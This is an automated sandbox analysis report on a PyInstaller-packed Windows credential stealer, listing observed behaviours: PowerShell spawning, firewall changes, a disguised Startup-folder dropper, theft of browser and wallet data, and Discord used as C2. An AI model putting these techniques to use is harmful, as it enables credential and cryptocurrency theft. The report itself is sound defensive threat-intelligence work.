Malware Analysis Report

2024-12-07 17:29

Sample ID 241112-p81bpawndk
Target PAP46E1UkZ.exe
SHA256 5016c0cc22b287f5d5e87f0edb0983c1fd3dc186afdb0e65348840dbad164904
Tags
pyinstaller credential_access evasion execution persistence privilege_escalation spyware stealer
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

5016c0cc22b287f5d5e87f0edb0983c1fd3dc186afdb0e65348840dbad164904

Threat Level: Likely malicious

The file PAP46E1UkZ.exe was found to be: Likely malicious.

Malicious Activity Summary

pyinstaller credential_access evasion execution persistence privilege_escalation spyware stealer

Modifies Windows Firewall

Command and Scripting Interpreter: PowerShell

Unsecured Credentials: Credentials In Files

Drops startup file

Executes dropped EXE

Loads dropped DLL

Reads user/profile data of web browsers

Checks computer location settings

Accesses cryptocurrency files/wallets, possible credential harvesting

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Unsigned PE

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

Detects Pyinstaller

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-12 13:00

Signatures

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-12 13:00

Reported

2024-11-12 13:03

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipapi.co N/A N/A
N/A api.ipify.org N/A N/A
N/A ipapi.co N/A N/A
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A
N/A ipapi.co N/A N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5016 wrote to memory of 1840 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe
PID 5016 wrote to memory of 1840 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe
PID 1840 wrote to memory of 868 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 868 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 1348 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\System32\Wbem\wmic.exe
PID 1840 wrote to memory of 1348 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\System32\Wbem\wmic.exe
PID 1840 wrote to memory of 4012 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 4012 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 4012 wrote to memory of 1632 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4012 wrote to memory of 1632 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4012 wrote to memory of 1804 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4012 wrote to memory of 1804 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4012 wrote to memory of 1848 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4012 wrote to memory of 1848 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4012 wrote to memory of 1164 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4012 wrote to memory of 1164 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 2596 wrote to memory of 1420 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 1420 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 3604 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 3604 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 3604 wrote to memory of 3500 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3604 wrote to memory of 3500 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 2808 wrote to memory of 4480 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 4480 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 4904 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 4904 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 4904 wrote to memory of 1208 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4904 wrote to memory of 1208 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
